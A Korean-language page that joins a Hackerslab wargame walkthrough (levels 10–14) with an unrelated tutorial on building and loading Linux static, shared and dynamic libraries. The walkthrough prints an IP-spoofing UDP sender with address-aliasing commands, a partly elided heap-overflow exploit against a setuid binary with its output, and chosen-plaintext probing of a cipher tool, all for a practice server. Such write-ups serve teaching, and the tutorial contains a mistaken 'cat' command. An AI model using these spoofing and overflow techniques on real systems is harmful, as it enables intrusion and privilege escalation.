이번 문제는 케빈 미트닉 vs 시모무라 사건으로 세상을 떠들썩하게 했던 IP spoofing을 이용한 해킹기법을 사용하는 문제이다. FHZ(Free Hacking Zone) 서버가 신뢰하는 호스트는 hackerslab 웹서버(www.hackerslab.org:203.239.110.1)이다. 즉, UDP 5555번 포트를 이용해 FHZ 서버에 떠 있는 데몬은 자신이 신뢰하는 호스트로부터 'level10의 패스워드/email 주소' 의 내용이 담긴 패킷이 오면..위에 적힌 email 주소로 레벨11의 패스워드를 알려주는 일을 하는 데몬이다.
그러므로 우리는 위의 'level10패스/email주소'의 내용을 갖는 패킷의 발신지 주소를 203.239.110.1이 되도록(IP spoofing) 소켓 프로그래밍하여 drill 서버의 UDP 5555번 포트로 보내면 된다.
이제 소켓 프로그램을 작성해보자..
[bluesky@bluestar bluesky]$cat > socket.c
#include < stdio.h>
#include < stdlib.h>
#include < errno.h>
#include < string.h>
#include < sys/types.h>
#include < netinet/in.h>
#include < sys/socket.h>
#include < sys/wait.h>

#define DEST_IP "203.239.110.20"
#define DEST_PORT 5555

main()
{
    int sockfd;
    struct sockaddr_in dest_addr;
    char *msg = "level10's password/ingots@blue.nownuri.net";
    int len, bytes_sent;
    printf("\n###############################################\n");
    printf(" sent message : %s\n", msg);
    if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
    {
         perror("socket error!!!");
        exit(1);
    }
    dest_addr.sin_family = AF_INET;
    dest_addr.sin_port = htons(DEST_PORT);
    dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
    bzero(&(dest_addr.sin_zero), 8);
    printf(" dest address : %s\n", inet_ntoa(dest_addr.sin_addr));
    connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));
    len = strlen(msg);
    bytes_sent = sendto(sockfd, msg, len, 0, (struct sockaddr *)&dest_addr,sizeof(struct sockaddr));
    printf(" sent bytes : %d\n", bytes_sent);
    printf("###############################################\n\n");
    close(sockfd);

}
^D

[bluesky@bluestar bluesky]$cc -o socket socket.c
[bluesky@bluestar bluesky]$su
Password:xxxxxxxx

[IP aliasing... root 권한 필요...]
[bluesky@bluestar bluesky]#ifconfig ppp0 203.239.110.1 up

[bluesky@bluestar bluesky]./socket
###############################################
sent message : level10's password/ingots@nownuri.net
dest address : 203.239.110.20
sent bytes : 35
###############################################
[bluesky@bluestar bluesky]$

이제 메일이 오기를 기다리면 된다.. 패킷이 정상적으로 보내졌다면..메일은 바로 온다. drill 서버가 우리가 보낸 패킷이 www.hackerslab.org(203.239.110.1)에서 온 것처럼 수신했는가는 listener를 작성하여 drill에 띄워서 확인이 가능하다. 아래에 listener.c를 보기바란다.. (이 listener.c를 drill에서 작성하여 컴파일 한후 띄워놓은 후 패킷을 보내 확인 할 수 있다.)
[level10@drill tmp]$cat > listener.c
#include < stdio.h>
#include < stdlib.h>
#include < errno.h>
#include < string.h>
#include < sys/types.h>
#include < netinet/in.h>
#include < sys/socket.h>
#include < sys/wait.h>

#define MYPORT 5555
#define MAXBUFLEN 100

main()
{
    int sockfd;
    struct sockaddr_in my_addr; /* my address information */
    struct sockaddr_in their_addr; /* connector's address information */
    int addr_len, numbytes;
    char buf[MAXBUFLEN];

    if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }
    my_addr.sin_family = AF_INET; /* host byte order */
    my_addr.sin_port = htons(MYPORT); /* short, network byte order */
    my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */
    bzero(&(my_addr.sin_zero), 8); /* zero the rest of the struct */

    if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
        perror("bind");
        exit(1);
    }

  addr_len = sizeof(struct sockaddr);
  if ((numbytes=recvfrom(sockfd, buf, MAXBUFLEN, 0, (struct sockaddr *)&their_addr, &addr_len)) == -1) {
        perror("recvfrom");
        exit(1);
    }

    printf("got packet from %s\n",inet_ntoa(their_addr.sin_addr));
    printf("packet is %d bytes long\n",numbytes);
    buf[numbytes] = '\0';
    printf("packet contains \"%s\"\n",buf);

    close(sockfd);
}
^D

[level10@drill tmp]$cc -o listener listener.c
[level10@drill tmp]$./listener
got packet from 203.239.110.1
packet is 35 bytes
packet contains level10's password/ingots@nownuri.net

레벨11 -> 레벨12
문제
/usr/local/bin/hof라는 프로그램은 /usr/local/bin/passwd.fail 화일을 보여준다. 하지만 우리가 원하는 파일은 usr/local/bin/passwd.success 라는 파일로 그 파일에는 다음 레벨로 올라갈 수 있는 패스워드가 저장되어 있다. 힙 영역을 이용하면 가장 쉽게 가능하다.

힌트
...

풀이
이번 문제는 힙 오버플로우(Heap based Overflow)를 이용한 해킹방법이다. 레벨9에서 보았듯이..버퍼 오버플로우에 의한 해킹기법이 소개되면서 이를 이용한 많은 해킹이 일어나 문제가 발생하자..이에 대해 아래와 같은 해결책들이 나오게 되었다.
그러나 다른 해결책들이 나오자 이번에는 Heap based Overflow에 의한 해킹기법이 나오게 되었다.
위의 글을 보면 heap overflow에 대한 자세한 설명과 소스가 있으므로 exploit 소스는 작성한 것으로 간주하고, 이제 drill에 접속해서 렙12의 패스워드를 얻는 과정을 보자.

[level11@drill level11]$cd tmp
[level11@drill tmp]$mkdir jkp
[level11@drill tmp]$cd jkp
[level11@drill jkp]$find / -user level12 -group level11 -print
/usr/local/bin/hof
[level11@drill jkp]$ls -l /usr/local/bin/hof
-rws--x--- 1 level12 level11 924592 Aug 12 12:53 /usr/local/bin/hof
[level11@drill jkp]$ln -s /usr/local/bin/hof hof
[level11@drill jkp]$cat > exploit.c
#include < stdio.h>
#include < stdlib.h>
#include < unistd.h>
#include < string.h>

#define BUFSIZE 256
#define ERROR -1

#define DIFF 16
#define VULPROG "./hof"
#define VULFILE "/usr/local/bin/passwd.success"   <--/*the file 'buf' will be stored in */

u_long getesp()
{
__asm__("movl %esp,%eax");
}

int main(int argc, char **argv)
{
u_long addr;
...... 중략..
......
^D

[level11@drill jkp]$cc -o exploit exploit.c
[level11@drill jkp]$ ls -l
total 17
-rwxrwxr-x 1 level11 level11 13367 Jan 12 05:02 exploit
-rw-rw-r-- 1 level11 level11 1716 Jan 12 05:02 exploit.c
lrwxrwxrwx 1 level11 level11 18 Jan 12 05:00 hof -> /usr/local/bin/hof

[level11@drill jkp]$./hof
level11's Password : xxxxxxxxxxxxxxxxx
Segmentation fault

[level11@drill jkp]$ ./exploit 364
Overflowing tmpaddr to point to 0xbffffecc, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = ./hof
ELF

[level11@drill jkp]$ ./exploit 365
Overflowing tmpaddr to point to 0xbffffecd, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = /hof
error opening /hof: No such file or directory

[level11@drill jkp]$ ./exploit 366
Overflowing tmpaddr to point to 0xbffffece, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = hof
ELF

[level11@drill jkp]$ ./exploit 369
Overflowing tmpaddr to point to 0xbffffed1, check /usr/local/bin/passwd.success after.

level11's Password :
view_file =
error opening : No such file or directory

[level11@drill jkp]$ ./exploit 370
Overflowing tmpaddr to point to 0xbffffed2, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = /usr/local/bin/passwd.success

패스워드 : x xxxx xx xxxx forever

[level11@drill jkp]$ ./exploit 371
Overflowing tmpaddr to point to 0xbffffed3, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = usr/local/bin/passwd.success
error opening usr/local/bin/passwd.success: No such file or directory

[level11@drill jkp]$ ./exploit 372
Overflowing tmpaddr to point to 0xbfffed4, check /usr/local/bin/passwd.success after.

level11's Password :
view_file = sr/local/bin/passwd.success
error opening sr/local/bin/passwd.success: No such file or directory

레벨12 -> 레벨13
문제
여러분의 hope 뛰어난 능력의 소유자인 서군은 해커스랩 관리자들이 level13으로 로긴할 때 sniffer를 돌려 통신 내용을 캡쳐하였다. 그러나 관리자들은 직접 고안한 알고리즘으로 비밀 통신을 하고 있어서 도무지 레벨13의 실제 패스워드가 무엇인지는 알 수 없었다. (그 level13의 패스워드는 tu|tSI/Z^로 암호화 되어 있었다.)
불행중 다행으로 서군은 시스템을 뒤지던 중 관리자들이 암호화 할 때 쓰는 툴이 /usr/bin/encrypt 에 있음을 발견하였다. 여러분은 서군이 발견한 encrypt를 테스트하여 암호화 알고리즘을 분석한 뒤 해독 알고리즘을 구현하여 level13의 실제 패스워드를 알아내시오

힌트
...

풀이
이번 문제는 지금까지 해온 SUID나 race condition/buffer overflow/heap overflow/IP spoofing 등과는 관계가 없다.
암호화하는 툴인 encrypt를 여러가지로 테스트 해서 tu|tSI/Z^로 암호화 되는 문자를 역추적하는 문제이다..encrypt 툴의 알고리즘을 완벽하게 분석하여 해독 알고리즘을 구현하여 푸는 문제이지만, 해독 알고리즘까지 구현하는 것은 나중에 각자 해보도록 하자..

[level12@drill tmp]$find / -user level13 -group level12 -print
/usr/bin/encrypt
[level12@drill tmp]$ls -l /usr/bin/encrypt
-rwxr-x--- 1 level13 level12 13781 Aug 10 15:15 /usr/bin/encrypt
[level12@drill tmp]$ln -s /usr/bin/encrypt enc

[level12@drill tmp]$./enc aaaaaaaaa
encrypted character: 'GGGBBB-SS'
[level12@drill tmp]$./enc aaa1aaaaa
encrypted character:'tGGBBB-SS'
[level12@drill tmp]$./enc aaaa2aaaa
encrypted character: 'GuGBBB-SS'
[level12@drill tmp]$./enc aaaaa9aaa
encrypted character: 'GG|BBB-SS'
[level12@drill tmp]$./enc aaa129aaa
encrypted character: 'tu|BBB-SS'

[level12@drill tmp]$./enc caa129aaa
encrypted character: 'tu|BBB/SS'
[level12@drill tmp]$./enc cha129aaa
encrypted character: 'tu|BBB/ZS'
[level12@drill tmp]$./enc chl129aaa
encrypted character: 'tu|BBB/Z^'
[level12@drill tmp]$./enc chl129aaa
encrypted character: 'tu|BBB/Z^'

[level12@drill tmp]$
.....
.....
[level12@drill tmp]$./enc xxxxxxxxx
encrypted character: 'tu|tSI/Z^'

레벨13 -> 레벨14
문제
이번 문제는 TCP/IP Networking을 이용해 통신을 할 수 있는가 하는 능력과..약간의 수학적 지식을 이용하는 문제입니다.. 자세한 문제설명을 위에 있구요..

힌트
...

풀이
TCP/IP Networking을 이용한 통신은 레벨10에서 어느정도 내용을 아셨을 겁니다..이번 레벨에서는 그걸 조금더 확장하는 문제입니다..(소켓 프로그래밍..을 자세히 읽어보세요..) drill 서버 2994 포트로 접속해서..문제를 받고 정답을 구해서..서버로 보내고..이런 과정을 세번 연속해서 맞추면 서버로부터 렙14의 패스워드가 옵니다..아래는 제가 작성한 client 프로그램입니다..아직 TCP/IP 프로그래밍을 많이 모르긴 하지만 참고하세요..

[bluesky@bluestar bluesky]$cat > client.c
#include < stdio.h>
#include < stdlib.h>
#include < errno.h>
#include < string.h>
#include < sys/types.h>
#include < netinet/in.h>
#include < sys/socket.h>
#include < sys/wait.h>
#include "proto.h"

#define DEST_IP "203.239.110.20"
#define DEST_PORT 2994
#define BACKLOG 10

main()
{
     int i = 1, j = 1;
     int sockfd, new_fd;
     int len, bytes_sent, bytes_recv;
     struct sockaddr_in dest_addr;
     struct query_type qu;
     struct reply_type re;

     if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
     {
          perror("socket error!!!");
          exit(1);
     }

    .... 중략 ..

     if (connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr)) == -1) {
          perror("connect error!!!");
          exit(1);
     }
     printf(" 서버(%s: port 2994)에 연결이 되었습니다...\n", inet_ntoa(dest_addr.sin_addr));

     for (i=1; i<=3; i++) {
          if(!fork()) {   /* this is the child process */
              if ((bytes_recv = recv(sockfd, &qu, sizeof(qu), 0)) == -1) {
                    perror("recv error!!!");
                    exit(1);
              }

              printf(" Received query(query_a) : %d\n", qu.query_a);
              printf(" Received query(query_b) : %d\n", qu.query_b);
              printf(" Received query(next_pass): (%d)%s\n", qu.flag, qu.next_pass);

              strcpy(re.current_pass, "chl1296rh");

              /* 서버로 부터받은 query_a/b를 dist로 넘겨 답을 구한후 re.answer로 */
              re.answer = dist(qu.query_a, qu.query_b);
              if ((bytes_sent = send(sockfd, &re, sizeof(re), 0)) == -1) {
                    perror("sendto error!!!");
                    exit(1);
              }
          }
     }
     close(sockfd);
}

int dist( int a, int b)
{
.....
.....
^D
[bluesky@bluestar bluesky]$





2005. 9. 26. 11:16

library의 사용

OldPapers/linux 2005. 9. 26. 11:16

library 의 사용

윤 상배

yundream@coconut.co.kr



1절. 소개

이 문서는 library 의 사용방법에 대한 내용을 담고 있다. 왜 라이브러리가 필요한지, 라이브러리는 어떤 종류가 있으며, 어떻게 작성할수 있는지, 그리고 어떻게 사용하는지에 대해서 얘기하도록 할것이다. 그리고 중간중간에 이해를 돕기 위한 실제 코딩역시 들어갈 것이다.

라이브러리에 대한 이러저러한 세부적인 내용까지 다루진 않을것이다. 좀더 이론적인 내용을 필요로 한다면 Program Library HOWTO 를 참고하기 바란다. 이 문서에서는 라이브러리를 만들고 활용하는 면에 중점을 둘것이다. 그러므로 위의 문서는 이문서를 읽기전에 대충이라도 한번 읽어보도록 한다.

정적 라이브러리와 공유라이브러리는 일반적인 내용임으로 간단한 설명과 일반적인 예제를 드는 정도로 넘어갈 것이다. 그러나 동적라이브러리에 대해서는 몇가지 다루어야할 이슈들이 있음으로 다른 것들에 비해서 좀더 비중있게 다루게 될것이다.


2절. Library 이야기

2.1절. 라이브러리란 무엇인가

라이브러리란 특정한 코드(함수 혹은 클래스)를 포함하고 있는 컴파일된 파일이다. 이러한 라이브러리를 만드는 이유는 자주 사용되는 특정한 기능을 main 함수에서 분리시켜 놓음으로써, 프로그램을 유지, 디버깅을 쉽게하고 컴파일 시간을 좀더 빠르게 할수 있기 때문이다.

만약 라이브러리를 만들지 않고 모든 함수를 main 에 집어 넣는다면, 수정할때 마다 main 코드를 수정해야 하고 다시 컴파일 해야 할것이다. 당연히 수정하기도 어렵고 컴파일에도 많은 시간이 걸린다.

반면 라이브러리화 해두면 우리는 해당 라이브러리만 다시 컴파일 시켜서 main 함수와 링크 시켜주면 된다. 시간도 아낄뿐더러 수정하기도 매우 쉽다.


2.2절. 라이브러리의 종류

라이브러리에도 그 쓰임새에 따라서 여러가지 종류가 있다(크게 3가지). 가장 흔하게 쓰일수 있는 "정적라이브러리"와 "공유라이브러리", "동적라이브러리" 가 있다.

이들 라이브러리가 서로 구분되어지는 특징은 적재 시간이 될것이다.

정적라이브러리

정적라이브러리는 object file(.o로 끝나는) 의 단순한 모음이다. 정적라이브러린느 보통 .a 의 확장자를 가진다. 간단히 사용할수 있다. 컴파일시 적재되므로 유연성이 떨어진다. 최근에는 정적라이브러리는 지양되고 있는 추세이다. 컴파일시 적재되므로 아무래도 바이너리크기가 약간 커지는 문제가 있을것이다.

공유라이브러리

공유라이브러리는 프로그램이 시작될때 적재된다. 만약 하나의 프로그램이 실행되어서 공유라이브러리를 사용했다면, 그뒤에 공유라이브러리를 사용하는 모든 프로그램은 자동적으로 만들어져 있는 공유라이브러리를 사용하게 된다. 그럼으로써 우리는 좀더 유연한 프로그램을 만들수 잇게 된다.

정적라이브러리와 달리 라이브러리가 컴파일시 적재되지 않으므로 프로그램의 사이즈 자체는 작아지지만 이론상으로 봤을때, 라이브러리를 적재하는 시간이 필요할것이므로 정적라이브러리를 사용한 프로그램보다는 1-5% 정도 느려질수 있다. 하지만 보통은 이러한 느림을 느낄수는 없을것이다.

동적라이브러리

공유라이브러리가 프로그램이 시작될때 적재되는 반면 이것은 프로그램시작중 특정한때에 적재되는 라이브러리이다. 플러그인 모듈등을 구현할때 적합하다. 설정파일등에 읽어들인 라이브러리를 등록시키고 원하는 라이브러리를 실행시키게 하는등의 매우 유연하게 작동하는 프로그램을 만들고자 할때 유용하다.


2.2.1절. 왜 정적라이브러리의 사용을 지양하는가

예전에 libz 라는 라이브러리에 보안 문제가 생겨서 한창 시끄러웠던적이 있다. libz 라이브러리는 각종 서버프로그램에 매우 널리 사용되는 라이브러리였는데, 실제 문제가 되었던 이유는 많은 libz 를 사용하는 프로그램들이 "정적라이브러리" 형식으로 라이브러리를 사용했기 때문에, 버그픽스(bug fix)를 위해서는 문제가 되는 libz 를 사용하는 프로그램들을 다시 컴파일 시켜야 했기 때문이다. 한마디로 버그픽스 자체가 어려웠던게 큰 문제였었다. 도대체 이 프로그램들이 libz 를 사용하고 있는지 그렇지 않은지를 완전하게 알기도 힘들뿐더러, 언제 그많은 프로그램을 다시 컴파일 한단 말인가.

만약 libz 를 정적으로 사용하지 않고 "공유라이브러리" 형태로 사용한다면 bug fix 가 훨씬 쉬웠을것이다. 왜냐면 libz 공유라이브러리는 하나만 있을 것이므로 이것만 업그레이드 시켜주면 되기 때문이다.

아뭏든 이렇게 유연성이 지나치게 떨어진다는 측면이 정적라이브러리를 사용하지 않는 가장 큰 이유가 될것이다. 프로그램들의 덩치가 커지는 문제는 유연성 문제에 비하면 그리큰문제가 되지는 않을것이다.


3절. 라이브러리 만들고 사용하기

이번장에서는 실제로 라이브러리를 만들고 사용하는 방법에 대해서 각 라이브러리 종류별로 알아볼 것이다.


3.1절. 라이브러리화 할 코드

라이브러리의 이름은 libmysum 이 될것이며, 여기에는 2개의 함수가 들어갈 것이다. 하나는 덧셈을 할 함수로 "ysum" 또 하나는 뺄셈을 위한 함수로 "ydiff" 으로 할것이다. 이 라이브러리를 만들기 위해서 mysum.h 와 mysum.c 2개의 파일이 만들어질것이다.

mysum.h

int ysum(int a, int b); 
int ydiff(int a, int b);
			

mysun.c

#include "mysum.h"
int ysum(int a, int b)
{
    return a + b; 
}
int ydiff(int a, int b)
{
    return a - b;
}
			


3.2절. 정적라이브러리 제작

정적라이브러리는 위에서 말했듯이 단순히 오브젝트(.o)들의 모임이다. 오브젝트를 만든다음에 ar 이라는 명령을 이용해서 라이브러리 아카이브를 만들면 된다.

[root@localhost test]# gcc -c mysum.c
[root@localhost test]# ar rc libmysum.a mysum.o
			
아주아주 간단하다. 단지 ar 에 몇가지 옵션만을 이용해서 libmysum 이란 라이 브러리를 만들었다. 'r' 은 libmysum.a 라는 라이브러리 아카이브에 새로운 오브젝트를 추가할것이라는 옵션이다. 'c' 는 아카이브가 존재하지 않을경우 생성하라는 옵션이다.

이제 라이브러리가 실제로 사용가능한지 테스트해보도록 하자.

예제 : print_sum.c

#include "mysum.h"
#include <stdio.h>
#include <string.h>

int main()
{
    char oper[5];
    char left[11];
    char right[11];
    int  result;

    memset(left, 0x00, 11);
    memset(right, 0x00, 11);

    // 표준입력(키보드)으로 부터  문자를 입력받는다.
    // 100+20, 100-20 과 같이 연산자와 피연산자 사이에 공백을 두지 않아야 한다.  
    fscanf(stdin, "%[0-9]%[^0-9]%[0-9]", left, oper, right);
    if (oper[0] == '-')
    {
        printf("%s %s %s = %d\n", left, oper, right, 
                        ydiff(atoi(left), atoi(right)));
    }
    if (oper[0] == '+')
    {
        printf("%s %s %s = %d\n", left, oper, right, 
                        ysum(atoi(left), atoi(right)));
    }
}
			

위의 프로그램을 컴파일 하기 위해서는 라이브러리의 위치와 어떤 라이브러리를 사용할것인지를 알려줘야 한다. 라이브러리의 위치는 '-L' 옵션을 이용해서 알려줄수 있으며, '-l' 옵션을 이용해서 어떤 라이브러리를 사용할것인지를 알려줄수 있다. -l 뒤에 사용될 라이브러리 이름은 라이브러리의 이름에서 "lib"와 확장자 "a"를 제외한 나머지 이름이다. 즉 libmysum.a 를 사용할 것이라면 "-lmysum" 이 될것이다.

[root@localhost test]# gcc -o print_sum print_num.c -L./ -lmysum
			
만약 우리가 사용할 라이브러리가 표준 라이브러리 디렉토리경로에 있다면 -L 을 사용하지 않아도 된다. 표준라이브러리 디렉토리 경로는 /etc/ld.so.conf 에 명시되어 있다.

정적라이브러리 상태로 컴파일한 프로그램의 경우 컴파일시에 라이브러리가 포함되므로 라이브러리를 함께 배포할 필요는 없다.


3.3절. 공유라이브러리 제작 / 사용

print_sum.c 가 컴파일되기 위해서 사용할 라이브러리 형태가 정적라이브러리에서 공유라이브러리로 바뀌였다고 해서 print_sum.c 의 코드가 변경되는건 아니다. 컴파일 방법역시 동일하며 단지 라이브러리 제작방법에 있어서만 차이가 날뿐이다.

이제 위의 mysum.c 를 공유라이브러리 형태로 만들어보자. 공유라이브러리는 보통 .so 의 확장자를 가진다.

[root@localhost test]# gcc -fPIC -c mysum.c
[root@localhost test]# gcc -shared -W1,-soname,libmysutff.so.1 -o libmysum.so.1.0.1 mysum.o
[root@localhost test]# cp libmysum.so.1.0.1 /usr/local/lib
[root@localhost test]# ln -s /usr/local/lib/libmysum.so.1.0.1 /usr/local/lib/libmysum.so
			
우선 mysum.c 를 -fPIC 옵션을 주어서 오브젝트 파일을 만들고, 다시 gcc 를 이용해서 공유라이브러리를 제작한다. 만들어진 라이브러리를 적당한 위치로 옮기고 나서 ln 을 이용해서 컴파일러에서 인식할수 있는 이름으로 심볼릭 링크를 걸어준다.

컴파일 방법은 정적라이브러리를 이용한 코드의 컴파일 방법과 동일하다.

[root@coco test]# gcc -o print_sum print_sum.c -L/usr/local/lib -lmysum
			

공유라이브러리는 실행시에 라이브러리를 적재함으로 프로그램을 배포할때는 공유라이브러리도 함께 배포되어야 한다. 그렇지 않을경우 다음과 같이 공유라이브러리를 찾을수 없다는 메시지를 출력하면서 프로그램 실행이 중단될 것이다.

[root@coco library]# ./print_sum
./print_sum: error while loading shared libraries: libmysub.so: cannot open shared object file: No such file or directory
			
위와 같은 오류메시지를 발견했다면 libmysub.so 가 시스템에 존재하는지 확인해 보자. 만약 존재하는데도 위와 같은 오류가 발생한다면 이는 LD_LIBRARY_PATH 나 /etc/ld.so.conf 에 라이브러리 패스가 지정되어 있지 않을 경우이다. 이럴때는 LD_LIBRARY_PATH 환경변수에 libmysub.so 가 있는 디렉토리를 명시해주거나, /etc/ld.so.conf 에 디렉토리를 추가시켜주면 된다.

만약 libmysub.so 가 /usr/my/lib 에 복사되어 있고 환경변수를 통해서 라이브러리의 위치를 알려주고자 할때는 아래와 같이 하면된다.

[root@localhost test]# export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/my/lib 
			
그렇지 않고 ld.so.conf 파일을 변경하길 원한다면(이럴경우 관리자 권한을 가지고 있어야 할것이다) ld.so.conf 에 라이브러리 디렉토리를 추가하고 ldconfig 를 한번 실행시켜주면 된다.
[root@localhost test]# cat /usr/my/lib >> /etc/ld.so.conf 
[root@localhost test]# ldconfig
			
ldconfig 를 실행시키게 되면 /etc/ld.so.conf 의 파일을 참조하여서 /etc/ld.so.cache 파일이 만들어지고, 프로그램은 ld.so.cache 의 디렉토리 경로에서 해당 라이브러리가 있는지 찾게 된다.


3.4절. 동적라이브러리의 사용

동적라이브러리라고 해서 동적라이브러리를 만들기 위한 어떤 특별한 방법이 있는것은 아니다. 일반 공유라이브러리를 그대로 쓰며, 단지 실행시간에 동적라이브러리를 호출하기 위한 방법상의 차이만 존재할 뿐이다.

정적/공유 라이브러리가 라이브러리의 생성방법과 컴파일방법에 약간의 차이만 있고 코드는 동일하게 사용되었던것과는 달리 동적라이브러리는 코드자체에 차이가 있다. 그럴수밖에 없는게, 동적라이브러리는 프로그램이 샐행되는 중에 특정한 시점에서 부르고 싶을때 라이브러리를 적재해야 하므로, 라이브러리를 적재하고, 사용하고 해제(free) 하기 위한 코드를 생성해야 하기 때문이다.

linux 에서는 이러한 라이브러리를 호출하기 위한 아래와 같은 함수들을 제공한다. 아래의 함수들은 solaris 에서 동일하게 사용될수 있다.

#include <dlfcn.h>

void *dlopen (const char *filename, int flag);
const char *dlerror(void);
void *dlsym(void *handle, char *symbol);
int dlclose(void *handle); 
			
dlopen 은 동적라이브러리를 적재하기 위해서 사용된다. 첫번째 아규먼트인 filename 은 /usr/my/lib/libmysum.so 와 같이 적재하기 원하는 라이브러리의 이름이다. 만약 적재시킬 라이브러리의 이름이 절대경로로 지정되어 있지 않을경우에는 LD_LIBRARY_PATH 에 등록된 디렉토리에서 찾고, 여기에서도 찾지 못할경우 /etc/ld.so.cache 에 등록된 디렉토리 리스트에서 찾게 된다. dlopen 이 성공적으로 호출되면 해당 라이브러리에 대한 handle 값을 넘겨 준다. flag 는 RTLD_LAZY와 RTLD_NOW 중 하나를 정의할수 있다. RTLD_LAZY는 라이브러리의 코드가 실행시간에 정의되지 않은 심볼을 해결하며, RTLD_NOW 는 dlopen 의 실행이 끝나기전에(return 전에) 라이브러리에 정의되지 않은 심볼을 해결한다.

dlerror 는 dl 관련함수들이 제대로 작동을 수행하지 않았을경우 에러메시지를 되돌려준다. dleooro(), dlsym(), dlclose(), dlopen()중 마지막 호출된 함수의 에러메시지를 되돌려준다.

dlsym 은 dlopen 을 통해서 열린라이브러리를 사용할수 있도록 심볼값을 찾아준다. 심볼이라고 하면 좀 애매한데, 심볼값은 즉 열린라이브러리에서 여러분이 실제로 호출할 함수의이름이라고 생각하면 된다. handle 는 dlopen 에 의해서 반환된 값이다. symbol 은 열린라이브러리에서 여러분이 실제로 부르게될 함수의 이름이다. dlsym 의 리턴값은 dlopen 으로 열린 라이브러리의 호출함수를 가르키게 된다. 리턴값을 보면 void * 형으로 되어 있는데, void 형을 사용하지 말고 호출함수가 리턴하는 형을 직접명시하도록 하자. 이렇게 함으로써 나중에 프로그램을 유지보수가 좀더 수월해진다.


3.5절. 동적라이브러리를 사용하여 프로그램의 확장성과 유연성을 높이기

동적라이브러리는 실행시간에 필요한 라이브러리를 호출할수 있음으로 조금만(사실은 아주 많이겠지만 T.T) 신경쓴다면 매우 확장성높고 유연한 프로그램을 만들수 있다.

동적라이브러리의 가장 대표적인 예가 아마도 Plug-in 이 아닐까 싶다. 만약에 모질라 브라우저가 plug-in 을 지원하지 않는 다면 우리는 새로운 기능들 이 추가될때 마다 브라우저를 다시 코딩하고 컴파일하는 수고를 해야할것이다. 그러나 동적라이브러리를 사용하면 브라우저를 다시 코딩하고 컴파일 할필요 없이, 해당 기능을 지원하는 라이브러리 파일만 받아서 특정 디렉토리에 설치하기만 하면 될것이다. 물론 동적라이브러리를 사용하기만 한다고 해서 이러한 기능이 바로 구현되는 건 아니다. Plug-in 의 효율적인 구성을 위한 표준화된 API를 제공하고 여기에 맞게 Plug-in 용 라이브러리를 제작해야만 할것이다.

우리가 지금까지 얘로든 프로그램을 보면 현재 '+', '-' 연산을 지원하고 있는데, 만약 'x', '/' 연산을 지원하는 라이브러리가 만들어졌다면, 우리는 프로그램의 코딩을 다시해야만 할것이다. 이번에는 동적라이브러리를 이용해서 plug-in 방식의 확장이 가능하도록 프로그램을 다시 만들어 보도록 할것이다.


3.5.1절. 동적라이브러리를 이용한 예제

동적라이브러리를 이용해서 main 프로그램의 재코딩 없이 추가되는 새로운 기능을 추가시키기 위해서는 통일된 인터페이스를 지니는 특정한 형식을 가지도록 라이브러리가 작성되어야 하며, 설정파일을 통하여서 어떤 라이브러리가 불리어져야 하는지에 대한 정보를 읽어들일수 있어야 한다. 그래서 어떤 기능을 추가시키고자 한다면 특정 형식에 맞도록 라이브러리를 제작하고, 설정파일을 변경하는 정도로 만들어진 새로운 라이브러리의 기능을 이용할수 있어야 한다.

설정파일은 다음과 같은 형식으로 만들어진다. 설정파일의 이름은 plugin.cfg 라고 정했다.

+,ysum,libmysum.so
-,ydiff,libmysum.so
				
'-' 연산에대해서는 libmysum.so 라이브러리를 호출하며, ydiff 함수를 사용한다. '=' 연산에 대해서는 libmysum.so 라이브러리를 호출하고 ysum 함수를 사용한다는 뜻이다. 설정파일의 이름은 plugin.cfg 로 하기로 하겠다.

다음은 동적라이브러리로 만들어진 print_sum 의 새로운 버젼이다.

예제 : print_sum_dl.c

#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <string.h>

struct input_data
{
    char    oper[2];
    char    func[10]; 
    char    lib[30];
};

int main(int argc, char **argv)
{
    char oper[2];
    char left[11];
    char right[11];
    char buf[50];
    char null[1];
    int data_num;

    struct input_data plug_num[10]; 

    void *handle;

    int (*result)(int, int);
    int i;
    char *error;

    FILE *fp;

    // 설정파일을 읽어들이고 
    // 내용을 구조체에 저장한다. 
    fp = fopen("plugin.cfg", "r");
    data_num = 0;
    while(fgets(buf, 50, fp) != NULL)
    {
        buf[strlen(buf) -1] = '\0';
        sscanf(buf, "%[^,]%[,]%[^,]%[,]%[^,]", plug_num[data_num].oper, 
                                               null,    
                                               plug_num[data_num].func, 
                                               null,
                                               plug_num[data_num].lib);
        data_num ++;
    }
    fclose(fp);

    printf("> ");
    memset(left, 0x00, 11);
    memset(right, 0x00, 11);
    fscanf(stdin, "%[0-9]%[^0-9]%[0-9]", left, oper, right);

    // 연산자를 비교해서 
    // 적당한 라이브러리를 불러온다. 
    for (i  = 0; i < data_num ; i++)
    {
        int state; 
        if ((state = strcmp(plug_num[i].oper, oper)) == 0) 
        {
            printf("my operator is      : %s\n", plug_num[i].oper);
            printf("my call function is : %s\n", plug_num[i].func);
            break;
        }
    }    

    if (i == data_num)
    {
        printf("--> unknown operator\n");
        exit(0);
    }

    handle = dlopen(plug_num[i].lib, RTLD_NOW);
    if (!handle)
    {
        printf("open error\n");
        fputs(dlerror(), stderr);
        exit(1);
    }

    // 연산자에 적당한 함수를 불러온다. 
    result = dlsym(handle, plug_num[i].func);
    if ((error = dlerror()) != NULL)
    {
        fputs(error, stderr);
        exit(1);
    }

    printf("%s %s %s = %d\n",left, oper, right, result(atoi(left), atoi(right)) ); 

    dlclose(handle);
}
				
위의 예제 프로그램은 다음과 같이 컴파일되어야 한다. 라이브러리 파일의 위치는 /usr/my/lib 아래에 있는것으로 하며, 라이브러리 찾기 경로에 등록되어 있다고 가정하겠다.
[root@localhost test]# gcc -o print_sum_dl print_sum_dl.c -ldl 
				
